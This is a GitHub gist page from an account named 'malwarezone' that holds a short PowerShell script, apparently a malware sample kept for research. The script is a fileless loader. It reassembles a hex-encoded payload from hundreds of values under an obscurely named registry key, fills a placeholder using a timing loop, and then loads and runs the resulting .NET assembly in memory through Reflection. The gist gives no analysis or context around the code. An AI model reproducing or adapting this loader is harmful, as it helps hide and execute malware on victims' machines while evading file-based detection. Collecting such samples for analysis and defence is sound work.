Skip to content

Instantly share code, notes, and snippets.

@malwarezone
Last active November 27, 2020 00:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save malwarezone/0a16db66fe2251bc84a55dc3e4a0241c to your computer and use it in GitHub Desktop.
Save malwarezone/0a16db66fe2251bc84a55dc3e4a0241c to your computer and use it in GitHub Desktop.
<# rncrmnip #>
for ($i=0;$i -le 700;$i++){
$c="HKCU:\SOFTWARE\ewlwlgixuapvhb";
Try{$a=$a+(Get-ItemProperty -path $c).$i}Catch{}
};
function chba{
[cmdletbinding()]param([parameter(Mandatory=$true)][String]$hs);
$Bytes = [byte[]]::new($hs.Length / 2);
for($i=0; $i -lt $hs.Length; $i+=2){
$Bytes[$i/2] = [convert]::ToByte($hs.Substring($i, 2), 16)
}
$Bytes
};
$i = 0;
While ($True){
$i++;
$ko = [math]::Sqrt($i);
if ($ko -eq 1000){ break}
}
[byte[]]$b = chba($a.replace("!@#",$ko));
[Reflection.Assembly]::Load($b);
[Mode]::Setup();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment